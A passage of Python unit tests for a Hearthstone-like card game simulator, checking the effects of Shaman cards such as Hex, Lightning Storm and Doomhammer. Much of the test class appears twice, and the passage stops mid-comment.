game.players[0].minions[0].calculate_attack()) def test_EarthShock(self): game = generate_game_for(EarthShock, ArgentSquire, OneCardPlayingAgent, OneCardPlayingAgent) for turn in range(0, 2): game.play_single_turn() self.assertEqual(1, len(game.players[1].minions)) self.assertTrue(game.players[1].minions[0].divine_shield) # Earth Shock should be played, resulting in silence which removes the divine shield and then 1 damage game.play_single_turn() self.assertEqual(0, len(game.players[1].minions)) def test_FarSight(self): game = generate_game_for(FarSight, StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 5): game.play_single_turn() # Far Sight should have been played, our latest card should cost 3 - 3 = 0 self.assertEqual(0, game.players[0].hand[-1].mana_cost()) self.assertEqual(3, game.players[0].hand[0].mana_cost()) # Draw a card to make sure the new card doesn't get the effect game.players[0].draw() self.assertEqual(3, game.players[0].hand[-1].mana_cost()) # Our old card shouldn't have been affected self.assertEqual(0, game.players[0].hand[-2].mana_cost()) def test_FeralSpirit(self): game = generate_game_for(FeralSpirit, StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(0, 5): game.play_single_turn() self.assertEqual(2, len(game.players[0].minions)) self.assertEqual(2, game.players[0].minions[0].calculate_attack()) self.assertEqual(3, game.players[0].minions[0].health) self.assertTrue(game.players[0].minions[0].taunt) self.assertEqual("Spirit Wolf", game.players[0].minions[0].card.name) self.assertEqual(2, game.players[0].minions[0].card.mana) self.assertEqual(2, game.players[0].minions[1].calculate_attack()) self.assertEqual(3, game.players[0].minions[1].health) self.assertTrue(game.players[0].minions[1].taunt) self.assertEqual("Spirit Wolf", game.players[0].minions[1].card.name) self.assertEqual(2, game.players[0].minions[1].card.mana) self.assertEqual(2, game.players[0].upcoming_overload) def test_VitalityTotem(self): game = generate_game_for(VitalityTotem, StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(0, 2): game.play_single_turn() game.players[0].hero.health = 20 game.play_single_turn() game.play_single_turn() self.assertEqual(24, game.players[0].hero.health) self.assertEqual(0, game.players[0].minions[0].calculate_attack()) self.assertEqual(3, game.players[0].minions[0].health) game.play_single_turn() game.play_single_turn() # player now has two vitality totems in play self.assertEqual(30, game.players[0].hero.health) self.assertEqual(2, len(game.players[0].minions)) def test_ForkedLightning(self): game = generate_game_for(ForkedLightning, StonetuskBoar, CardTestingAgent, OneCardPlayingAgent) for turn in range(0, 4): game.play_single_turn() # Nothing should have happened yet, since the opponent haven't got 2 minions until now self.assertEqual(2, len(game.players[1].minions)) # Forked Lightning should be played game.play_single_turn() self.assertEqual(0, len(game.players[1].minions)) self.assertEqual(2, game.players[0].upcoming_overload) def test_FrostShock(self): game = generate_game_for(FrostShock, StonetuskBoar, CardTestingAgent, DoNothingAgent) # Frost Shock should be played game.play_single_turn() self.assertEqual(29, game.players[1].hero.health) self.assertTrue(game.players[1].hero.frozen) def test_Hex(self): game = generate_game_for(ChillwindYeti, Hex, OneCardPlayingAgent, CardTestingAgent) for turn in range(0, 7): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertFalse(game.players[0].minions[0].taunt) self.assertEqual(4, game.players[0].minions[0].calculate_attack()) self.assertEqual(5, game.players[0].minions[0].health) self.assertEqual("Chillwind Yeti", game.players[0].minions[0].card.name) game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertTrue(game.players[0].minions[0].taunt) self.assertEqual(0, game.players[0].minions[0].calculate_attack()) self.assertEqual(1, game.players[0].minions[0].health) self.assertEqual("Frog", game.players[0].minions[0].card.name) self.assertEqual(MINION_TYPE.BEAST, game.players[0].minions[0].card.minion_type) def test_LavaBurst(self): game = generate_game_for(LavaBurst, StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(0, 4): game.play_single_turn() self.assertEqual(30, game.players[1].hero.health) game.play_single_turn() self.assertEqual(25, game.players[1].hero.health) self.assertEqual(2, game.players[0].upcoming_overload) def test_LightningBolt(self): game = generate_game_for(LightningBolt, StonetuskBoar, CardTestingAgent, DoNothingAgent) self.assertEqual(30, game.players[1].hero.health) game.play_single_turn() self.assertEqual(27, game.players[1].hero.health) self.assertEqual(1, game.players[0].upcoming_overload) def test_LightningStorm(self): game = generate_game_for(LightningStorm, Shieldbearer, CardTestingAgent, PlayAndAttackAgent) for turn in range(0, 4): game.play_single_turn() # Lightning Storm should be played game.play_single_turn() self.assertEqual(3, len(game.players[1].minions)) self.assertEqual(1, game.players[1].minions[0].health) self.assertEqual(2, game.players[1].minions[1].health) self.assertEqual(2, game.players[1].minions[2].health) self.assertEqual(2, game.players[0].upcoming_overload) def test_RockbiterWeapon(self): game = generate_game_for(RockbiterWeapon, Shieldbearer, PlayAndAttackAgent, DoNothingAgent) self.assertEqual(30, game.players[1].hero.health) # Rockbiter Weapon should be played and used game.play_single_turn() self.assertEqual(27, game.players[1].hero.health) def test_RockbiterWeapon_and_Hex(self): game = generate_game_for([IronfurGrizzly, RockbiterWeapon, Hex], StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(7): game.play_single_turn() self.assertEqual(1, len(game.current_player.minions)) self.assertEqual("Frog", game.current_player.minions[0].card.name) def test_RockbiterWeapon_and_BaronGeddon(self): game = generate_game_for([BaronGeddon, RecklessRocketeer, RockbiterWeapon], StonetuskBoar, PlayAndAttackAgent, DoNothingAgent) for turn in range(15): game.play_single_turn() self.assertEqual(1, len(game.current_player.minions)) self.assertEqual("Baron Geddon", game.current_player.minions[0].card.name) self.assertEqual(11, game.other_player.hero.health) def test_TotemicMight(self): game = generate_game_for([TotemicMight, StonetuskBoar], Shieldbearer, PredictableAgent, DoNothingAgent) for turn in range(0, 2): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Stonetusk Boar", game.players[0].minions[0].card.name) # Hero power and Totemic Might should be played game.play_single_turn() self.assertEqual(2, len(game.players[0].minions)) self.assertEqual(1, game.players[0].minions[0].calculate_max_health()) self.assertEqual("Stoneclaw Totem", game.players[0].minions[1].card.name) self.assertEqual(4, game.players[0].minions[1].calculate_max_health()) def test_Windfury(self): game = generate_game_for(Windfury, StonetuskBoar, CardTestingAgent, OneCardPlayingAgent) for turn in range(0, 2): game.play_single_turn() self.assertFalse(game.players[1].minions[0].windfury()) # Windfury should be played game.play_single_turn() self.assertTrue(game.players[1].minions[0].windfury()) def test_Doomhammer(self): game = generate_game_for(Doomhammer, StonetuskBoar, PlayAndAttackAgent, DoNothingAgent) for turn in range(0, 8): game.play_single_turn() self.assertEqual(30, game.players[1].hero.health) self.assertFalse(game.players[0].hero.windfury()) # Doomhammer should be played game.play_single_turn() self.assertTrue(game.players[0].hero.windfury()) self.assertEqual(2, game.players[0].weapon.base_attack) self.assertEqual(6, game.players[0].weapon.durability) self.assertEqual(2, game.players[0].upcoming_overload) self.assertEqual(26, game.players[1].hero.health) def test_StormforgedAxe(self): game = generate_game_for(StormforgedAxe, StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(0, 3): game.play_single_turn() self.assertEqual(2, game.players[0].weapon.base_attack) self.assertEqual(3, game.players[0].weapon.durability) self.assertEqual(1, game.players[0].upcoming_overload) def test_Crackle(self): game = generate_game_for(Crackle, StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(0, 3): game.play_single_turn() self.assertEqual(25, game.players[1].hero.health) self.assertEqual(1, game.players[0].upcoming_overload) def test_SiltfinSpiritwalker(self): game = generate_game_for([MurlocTidecaller, MurlocTidehunter, SiltfinSpiritwalker, Deathwing], [MurlocTidecaller, Hellfire, BaneOfDoom], OneCardPlayingAgent, OneCardPlayingAgent) for turn in range(6): game.play_single_turn() self.assertEqual(3, len(game.other_player.minions)) self.assertEqual(1, len(game.current_player.minions)) # Play Siltfin game.play_single_turn() self.assertEqual(4, len(game.current_player.minions)) self.assertEqual(1, len(game.other_player.minions)) self.assertEqual(4, len(game.current_player.hand)) self.assertEqual(7, len(game.other_player.hand)) # Hellfire will kill all the murlocs but the siltfin. game.play_single_turn() self.assertEqual(1, len(game.other_player.minions)) self.assertEqual(7, len(game.other_player.hand)) self.assertEqual(0, len(game.current_player.minions)) self.assertEqual(7, len(game.current_player.hand)) def test_WhirlingZapOMatic(self): game = generate_game_for(WhirlingZapomatic, StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 3): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Whirling Zap-o-matic", game.players[0].minions[0].card.name) self.assertTrue(game.players[0].minions[0].windfury()) def test_DunemaulShaman(self): game = generate_game_for(DunemaulShaman, [StonetuskBoar, GoldshireFootman, SilverbackPatriarch, MogushanWarden], PlayAndAttackAgent, OneCardPlayingAgent) for turn in range(7): game.play_single_turn() self.assertEqual(1, len(game.current_player.minions)) self.assertEqual(3, len(game.other_player.minions)) game.play_single_turn() # The shaman's forgetful ability triggers once. It hits the warden one time (its intended target) # and the footman one time (after triggering forgetful) game.play_single_turn() self.assertEqual(2, len(game.current_player.minions)) self.assertEqual(3, len(game.other_player.minions)) self.assertEqual("Mogu'shan Warden", game.other_player.minions[0].card.name) self.assertEqual("Silverback Patriarch", game.other_player.minions[1].card.name) self.assertEqual("Stonetusk Boar", game.other_player.minions[2].card.name) self.assertEqual(30, game.other_player.hero.health) def test_Powermace(self): game = generate_game_for([Powermace, SpiderTank, SpiderTank], Wisp, PlayAndAttackAgent, DoNothingAgent) for turn in range(0, 6): game.play_single_turn() self.assertEqual(0, len(game.players[0].minions)) self.assertEqual(27, game.players[1].hero.health) self.assertEqual(3, game.players[0].weapon.base_attack) self.assertEqual(1, game.players[0].weapon.durability) game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual(24, game.players[1].hero.health) self.assertEqual(5, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) def test_Neptulon(self): game = generate_game_for([TheCoin, TheCoin, TheCoin, TheCoin, TheCoin, TheCoin, TheCoin, TheCoin, TheCoin, Neptulon], Wisp, CardTestingAgent, DoNothingAgent) for turn in range(0, 12): game.play_single_turn() self.assertEqual(0, len(game.players[0].minions)) self.assertEqual(0, len(game.players[0].hand)) game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual(4, len(game.players[0].hand)) for card in game.players[0].hand: self.assertEqual(MINION_TYPE.MURLOC, card.minion_type) def test_AncestorsCall(self): game = generate_game_for([AncestorsCall, StonetuskBoar], [Doomguard, Soulfire], OneCardPlayingAgent, OneCardPlayingAgent) for turn in range(6): game.play_single_turn() game.play_single_turn() self.assertEqual(1, len(game.current_player.minions)) self.assertEqual("Stonetusk Boar", game.current_player.minions[0].card.name) self.assertEqual(1, len(game.other_player.minions)) self.assertEqual("Doomguard", game.other_player.minions[0].card.name) self.assertEqual(5, len(game.current_player.hand)) self.assertEqual(7, len(game.other_player.hand)) def test_LavaShock(self): game = generate_game_for([Doomhammer, LightningBolt, LavaShock], StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(11): game.play_single_turn() # The player should have been able to do everything AND have three mana left over self.assertEqual(25, game.other_player.hero.health) self.assertEqual(3, game.current_player.mana) def test_FireguardDestroyer(self): game = generate_game_for(FireguardDestroyer, Wisp, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 8): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual(6, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) game.play_single_turn() game.play_single_turn() self.assertEqual(2, len(game.players[0].minions)) self.assertEqual(5, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) game.play_single_turn() game.play_single_turn() self.assertEqual(3, len(game.players[0].minions)) self.assertEqual(5, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) game.play_single_turn() game.play_single_turn() self.assertEqual(4, len(game.players[0].minions)) self.assertEqual(5, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) game.play_single_turn() game.play_single_turn() self.assertEqual(5, len(game.players[0].minions)) self.assertEqual(6, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) game.play_single_turn() game.play_single_turn() self.assertEqual(6, len(game.players[0].minions)) self.assertEqual(4, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) game.play_single_turn() game.play_single_turn() self.assertEqual(7, len(game.players[0].minions)) # Well, I was trying to get a 7/6 but no luck self.assertEqual(5, game.players[0].minions[0].calculate_attack()) self.assertEqual(6, game.players[0].minions[0].health) def test_AncestralKnowledge(self): game = generate_game_for(AncestralKnowledge, StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(0, 3): game.play_single_turn() self.assertEqual(6, len(game.current_player.hand)) self.assertEqual(2, game.current_player.upcoming_overload)

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import random import unittest from SDWLE.cards.spells.neutral import TheCoin from testsSDW.agents.testing_agents import OneCardPlayingAgent, MinionAttackingAgent, CardTestingAgent, \ PlayAndAttackAgent from testsSDW.testing_utils import generate_game_for from SDWLE.cards import * from SDWLE.constants import MINION_TYPE from SDWLE.agents.basic_agents import PredictableAgent, DoNothingAgent class TestShaman(unittest.TestCase): def setUp(self): random.seed(1857) def test_AlAkirTheWindlord(self): game = generate_game_for(AlAkirTheWindlord, StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 15): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Al'Akir the Windlord", game.players[0].minions[0].card.name) self.assertTrue(game.players[0].minions[0].windfury()) self.assertTrue(game.players[0].minions[0].charge()) self.assertTrue(game.players[0].minions[0].divine_shield) self.assertTrue(game.players[0].minions[0].taunt) def test_DustDevil(self): game = generate_game_for(DustDevil, StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Dust Devil", game.players[0].minions[0].card.name) self.assertTrue(game.players[0].minions[0].windfury()) self.assertEqual(2, game.players[0].upcoming_overload) game.play_single_turn() # Overload should cause that we start this turn with 0 mana game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual(0, game.players[0].upcoming_overload) self.assertEqual(0, game.players[0].mana) self.assertEqual(2, game.players[0].max_mana) def test_EarthElemental(self): game = generate_game_for(EarthElemental, StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) # Earth Elemental should be played for turn in range(0, 9): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Earth Elemental", game.players[0].minions[0].card.name) self.assertTrue(game.players[0].minions[0].taunt) self.assertEqual(3, game.players[0].upcoming_overload) def test_FireElemental(self): game = generate_game_for(FireElemental, StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 10): game.play_single_turn() self.assertEqual(30, game.players[1].hero.health) # Fire Elemental should be played, and its battlecry dealing three damage to opponent game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Fire Elemental", game.players[0].minions[0].card.name) self.assertEqual(27, game.players[1].hero.health) def test_FlametongueTotem(self): game = generate_game_for(StonetuskBoar, StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 5): game.play_single_turn() # There should be three Stonetusk Boars on the board self.assertEqual(3, len(game.players[0].minions)) # add a new Flametongue Totem at index 1 totem = FlametongueTotem() totem.summon(game.players[0], game, 1) # The minions to either side should have their attack increased self.assertEqual(4, len(game.players[0].minions)) self.assertEqual(3, game.players[0].minions[0].calculate_attack()) self.assertEqual(3, game.players[0].minions[2].calculate_attack()) self.assertEqual(1, game.players[0].minions[3].calculate_attack()) # When removing the minion at index 0, we should not get an error game.players[0].minions[0].die(None) game.players[0].minions[0].activate_delayed() self.assertEqual(3, len(game.players[0].minions)) # When removing the minion at index 1, we should have a new minion at index 1, # and its attack should be increased game.players[0].minions[1].die(None) game.players[0].minions[1].activate_delayed() self.assertEqual(2, len(game.players[0].minions)) self.assertEqual(3, game.players[0].minions[1].calculate_attack()) # Silencing this minion should have no effect on its attack game.players[0].minions[1].silence() self.assertEqual(3, game.players[0].minions[1].calculate_attack()) # We should be able to add a boar on either side of the wolf, and their attack should be increased # The attack of the boar which used to be next to the wolf should decrease boar = StonetuskBoar() boar.summon(game.players[0], game, 0) boar.summon(game.players[0], game, 2) self.assertEqual(4, len(game.players[0].minions)) self.assertEqual(3, game.players[0].minions[0].calculate_attack()) self.assertEqual(3, game.players[0].minions[2].calculate_attack()) self.assertEqual(1, game.players[0].minions[3].calculate_attack()) # Add a new boar on the left of the totem since we haven't tested that yet boar.summon(game.players[0], game, 1) self.assertEqual(5, len(game.players[0].minions)) self.assertEqual(1, game.players[0].minions[0].calculate_attack()) self.assertEqual(3, game.players[0].minions[1].calculate_attack()) game.players[0].minions[1].die(None) game.players[0].minions[1].activate_delayed() self.assertEqual(4, len(game.players[0].minions)) self.assertEqual(3, game.players[0].minions[0].calculate_attack()) game.players[0].minions[1].silence() self.assertEqual(1, game.players[0].minions[0].calculate_attack()) self.assertEqual(1, game.players[0].minions[2].calculate_attack()) self.assertEqual(1, game.players[0].minions[3].calculate_attack()) def test_ManaTideTotem(self): game = generate_game_for([ManaTideTotem, WarGolem], StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 4): game.play_single_turn() self.assertEqual(25, game.players[0].deck.left) self.assertEqual(0, len(game.players[0].minions)) game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Mana Tide Totem", game.players[0].minions[0].card.name) self.assertEqual(23, game.players[0].deck.left) game.play_single_turn() game.players[0].minions[0].silence() game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual(22, game.players[0].deck.left) def test_UnboundElemental(self): game = generate_game_for([UnboundElemental, DustDevil, DustDevil], StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 6): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Unbound Elemental", game.players[0].minions[0].card.name) self.assertEqual(2, game.players[0].minions[0].calculate_attack()) self.assertEqual(4, game.players[0].minions[0].calculate_max_health()) game.play_single_turn() self.assertEqual(2, len(game.players[0].minions)) self.assertEqual(3, game.players[0].minions[-1].calculate_attack()) self.assertEqual(5, game.players[0].minions[-1].calculate_max_health()) game.players[0].minions[-1].silence() self.assertEqual(2, game.players[0].minions[-1].calculate_attack()) self.assertEqual(4, game.players[0].minions[-1].calculate_max_health()) game.play_single_turn() game.play_single_turn() self.assertEqual(3, len(game.players[0].minions)) self.assertEqual(2, game.players[0].minions[-1].calculate_attack()) self.assertEqual(4, game.players[0].minions[-1].calculate_max_health()) def test_Windspeaker(self): game = generate_game_for([StonetuskBoar, Windspeaker], StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 6): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Stonetusk Boar", game.players[0].minions[0].card.name) self.assertFalse(game.players[0].minions[0].windfury()) game.play_single_turn() self.assertEqual(2, len(game.players[0].minions)) self.assertEqual("Windspeaker", game.players[0].minions[0].card.name) self.assertTrue(game.players[0].minions[1].windfury()) def test_AncestralHealing(self): game = generate_game_for([FlametongueTotem, AncestralHealing], StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 4): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Flametongue Totem", game.players[0].minions[0].card.name) self.assertEqual(3, game.players[0].minions[0].health) self.assertFalse(game.players[0].minions[0].taunt) game.players[0].minions[0].health = 1 game.play_single_turn() self.assertEqual(3, game.players[0].minions[0].health) self.assertTrue(game.players[0].minions[0].taunt) def test_AncestralSpirit(self): game = generate_game_for([ArgentCommander, AncestralSpirit], StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 11): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Argent Commander", game.players[0].minions[0].card.name) self.assertEqual(2, game.players[0].minions[0].health) self.assertTrue(game.players[0].minions[0].divine_shield) game.play_single_turn() game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) game.players[0].minions[0].health = 1 game.players[0].minions[0].divine_shield = False commander = game.players[0].minions[0] commander.die(None) commander.activate_delayed() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Argent Commander", game.players[0].minions[0].card.name) self.assertEqual(2, game.players[0].minions[0].health) self.assertTrue(game.players[0].minions[0].divine_shield) def test_AncestralSpiritDeathrattle(self): game = generate_game_for([LootHoarder, AncestralSpirit], StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 5): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual(4, len(game.players[0].hand)) loot = game.players[0].minions[0] loot.die(None) loot.activate_delayed() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual(5, len(game.players[0].hand)) def test_Bloodlust(self): game = generate_game_for([StonetuskBoar, StonetuskBoar, StonetuskBoar, StonetuskBoar, Bloodlust], StonetuskBoar, MinionAttackingAgent, DoNothingAgent) for turn in range(0, 8): game.play_single_turn() self.assertEqual(4, len(game.players[0].minions)) self.assertEqual(20, game.players[1].hero.health) game.play_single_turn() self.assertEqual(4, game.players[1].hero.health) self.assertEqual(1, game.players[0].minions[0].calculate_attack()) def test_EarthShock(self): game = generate_game_for(EarthShock, ArgentSquire, OneCardPlayingAgent, OneCardPlayingAgent) for turn in range(0, 2): game.play_single_turn() self.assertEqual(1, len(game.players[1].minions)) self.assertTrue(game.players[1].minions[0].divine_shield) game.play_single_turn() self.assertEqual(0, len(game.players[1].minions)) def test_FarSight(self): game = generate_game_for(FarSight, StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 5): game.play_single_turn() self.assertEqual(0, game.players[0].hand[-1].mana_cost()) self.assertEqual(3, game.players[0].hand[0].mana_cost()) game.players[0].draw() self.assertEqual(3, game.players[0].hand[-1].mana_cost()) # Our old card shouldn't have been affected self.assertEqual(0, game.players[0].hand[-2].mana_cost()) def test_FeralSpirit(self): game = generate_game_for(FeralSpirit, StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(0, 5): game.play_single_turn() self.assertEqual(2, len(game.players[0].minions)) self.assertEqual(2, game.players[0].minions[0].calculate_attack()) self.assertEqual(3, game.players[0].minions[0].health) self.assertTrue(game.players[0].minions[0].taunt) self.assertEqual("Spirit Wolf", game.players[0].minions[0].card.name) self.assertEqual(2, game.players[0].minions[0].card.mana) self.assertEqual(2, game.players[0].minions[1].calculate_attack()) self.assertEqual(3, game.players[0].minions[1].health) self.assertTrue(game.players[0].minions[1].taunt) self.assertEqual("Spirit Wolf", game.players[0].minions[1].card.name) self.assertEqual(2, game.players[0].minions[1].card.mana) self.assertEqual(2, game.players[0].upcoming_overload) def test_VitalityTotem(self): game = generate_game_for(VitalityTotem, StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(0, 2): game.play_single_turn() game.players[0].hero.health = 20 game.play_single_turn() game.play_single_turn() self.assertEqual(24, game.players[0].hero.health) self.assertEqual(0, game.players[0].minions[0].calculate_attack()) self.assertEqual(3, game.players[0].minions[0].health) game.play_single_turn() game.play_single_turn() self.assertEqual(30, game.players[0].hero.health) self.assertEqual(2, len(game.players[0].minions)) def test_ForkedLightning(self): game = generate_game_for(ForkedLightning, StonetuskBoar, CardTestingAgent, OneCardPlayingAgent) for turn in range(0, 4): game.play_single_turn() self.assertEqual(2, len(game.players[1].minions)) # Forked Lightning should be played game.play_single_turn() self.assertEqual(0, len(game.players[1].minions)) self.assertEqual(2, game.players[0].upcoming_overload) def test_FrostShock(self): game = generate_game_for(FrostShock, StonetuskBoar, CardTestingAgent, DoNothingAgent) # Frost Shock should be played game.play_single_turn() self.assertEqual(29, game.players[1].hero.health) self.assertTrue(game.players[1].hero.frozen) def test_Hex(self): game = generate_game_for(ChillwindYeti, Hex, OneCardPlayingAgent, CardTestingAgent) for turn in range(0, 7): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertFalse(game.players[0].minions[0].taunt) self.assertEqual(4, game.players[0].minions[0].calculate_attack()) self.assertEqual(5, game.players[0].minions[0].health) self.assertEqual("Chillwind Yeti", game.players[0].minions[0].card.name) game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertTrue(game.players[0].minions[0].taunt) self.assertEqual(0, game.players[0].minions[0].calculate_attack()) self.assertEqual(1, game.players[0].minions[0].health) self.assertEqual("Frog", game.players[0].minions[0].card.name) self.assertEqual(MINION_TYPE.BEAST, game.players[0].minions[0].card.minion_type) def test_LavaBurst(self): game = generate_game_for(LavaBurst, StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(0, 4): game.play_single_turn() self.assertEqual(30, game.players[1].hero.health) game.play_single_turn() self.assertEqual(25, game.players[1].hero.health) self.assertEqual(2, game.players[0].upcoming_overload) def test_LightningBolt(self): game = generate_game_for(LightningBolt, StonetuskBoar, CardTestingAgent, DoNothingAgent) self.assertEqual(30, game.players[1].hero.health) game.play_single_turn() self.assertEqual(27, game.players[1].hero.health) self.assertEqual(1, game.players[0].upcoming_overload) def test_LightningStorm(self): game = generate_game_for(LightningStorm, Shieldbearer, CardTestingAgent, PlayAndAttackAgent) for turn in range(0, 4): game.play_single_turn() # Lightning Storm should be played game.play_single_turn() self.assertEqual(3, len(game.players[1].minions)) self.assertEqual(1, game.players[1].minions[0].health) self.assertEqual(2, game.players[1].minions[1].health) self.assertEqual(2, game.players[1].minions[2].health) self.assertEqual(2, game.players[0].upcoming_overload) def test_RockbiterWeapon(self): game = generate_game_for(RockbiterWeapon, Shieldbearer, PlayAndAttackAgent, DoNothingAgent) self.assertEqual(30, game.players[1].hero.health) # Rockbiter Weapon should be played and used game.play_single_turn() self.assertEqual(27, game.players[1].hero.health) def test_RockbiterWeapon_and_Hex(self): game = generate_game_for([IronfurGrizzly, RockbiterWeapon, Hex], StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(7): game.play_single_turn() self.assertEqual(1, len(game.current_player.minions)) self.assertEqual("Frog", game.current_player.minions[0].card.name) def test_RockbiterWeapon_and_BaronGeddon(self): game = generate_game_for([BaronGeddon, RecklessRocketeer, RockbiterWeapon], StonetuskBoar, PlayAndAttackAgent, DoNothingAgent) for turn in range(15): game.play_single_turn() self.assertEqual(1, len(game.current_player.minions)) self.assertEqual("Baron Geddon", game.current_player.minions[0].card.name) self.assertEqual(11, game.other_player.hero.health) def test_TotemicMight(self): game = generate_game_for([TotemicMight, StonetuskBoar], Shieldbearer, PredictableAgent, DoNothingAgent) for turn in range(0, 2): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Stonetusk Boar", game.players[0].minions[0].card.name) # Hero power and Totemic Might should be played game.play_single_turn() self.assertEqual(2, len(game.players[0].minions)) self.assertEqual(1, game.players[0].minions[0].calculate_max_health()) self.assertEqual("Stoneclaw Totem", game.players[0].minions[1].card.name) self.assertEqual(4, game.players[0].minions[1].calculate_max_health()) def test_Windfury(self): game = generate_game_for(Windfury, StonetuskBoar, CardTestingAgent, OneCardPlayingAgent) for turn in range(0, 2): game.play_single_turn() self.assertFalse(game.players[1].minions[0].windfury()) # Windfury should be played game.play_single_turn() self.assertTrue(game.players[1].minions[0].windfury()) def test_Doomhammer(self): game = generate_game_for(Doomhammer, StonetuskBoar, PlayAndAttackAgent, DoNothingAgent) for turn in range(0, 8): game.play_single_turn() self.assertEqual(30, game.players[1].hero.health) self.assertFalse(game.players[0].hero.windfury()) # Doomhammer should be played game.play_single_turn() self.assertTrue(game.players[0].hero.windfury()) self.assertEqual(2, game.players[0].weapon.base_attack) self.assertEqual(6, game.players[0].weapon.durability) self.assertEqual(2, game.players[0].upcoming_overload) self.assertEqual(26, game.players[1].hero.health) def test_StormforgedAxe(self): game = generate_game_for(StormforgedAxe, StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(0, 3): game.play_single_turn() self.assertEqual(2, game.players[0].weapon.base_attack) self.assertEqual(3, game.players[0].weapon.durability) self.assertEqual(1, game.players[0].upcoming_overload) def test_Crackle(self): game = generate_game_for(Crackle, StonetuskBoar, CardTestingAgent, DoNothingAgent) for turn in range(0, 3): game.play_single_turn() self.assertEqual(25, game.players[1].hero.health) self.assertEqual(1, game.players[0].upcoming_overload) def test_SiltfinSpiritwalker(self): game = generate_game_for([MurlocTidecaller, MurlocTidehunter, SiltfinSpiritwalker, Deathwing], [MurlocTidecaller, Hellfire, BaneOfDoom], OneCardPlayingAgent, OneCardPlayingAgent) for turn in range(6): game.play_single_turn() self.assertEqual(3, len(game.other_player.minions)) self.assertEqual(1, len(game.current_player.minions)) # Play Siltfin game.play_single_turn() self.assertEqual(4, len(game.current_player.minions)) self.assertEqual(1, len(game.other_player.minions)) self.assertEqual(4, len(game.current_player.hand)) self.assertEqual(7, len(game.other_player.hand)) # Hellfire will kill all the murlocs but the siltfin. game.play_single_turn() self.assertEqual(1, len(game.other_player.minions)) self.assertEqual(7, len(game.other_player.hand)) self.assertEqual(0, len(game.current_player.minions)) self.assertEqual(7, len(game.current_player.hand)) def test_WhirlingZapOMatic(self): game = generate_game_for(WhirlingZapomatic, StonetuskBoar, OneCardPlayingAgent, DoNothingAgent) for turn in range(0, 3): game.play_single_turn() self.assertEqual(1, len(game.players[0].minions)) self.assertEqual("Whirling Zap-o-matic", game.players[0].minions[0].card.name) self.assertTrue(game.players[0].minions[0].windfury()) def test_DunemaulShaman(self): game = generate_game_for(DunemaulShaman, [StonetuskBoar, GoldshireFootman, SilverbackPatriarch, MogushanWarden], PlayAndAttackAgent, OneCardPlayingAgent) for turn in range(7): game.play_single_turn() self.assertEqual(1, len(game.current_player.minions)) self.assertEqual(3, len(game.other_player.minions)) game.play_single_turn() # The shaman's 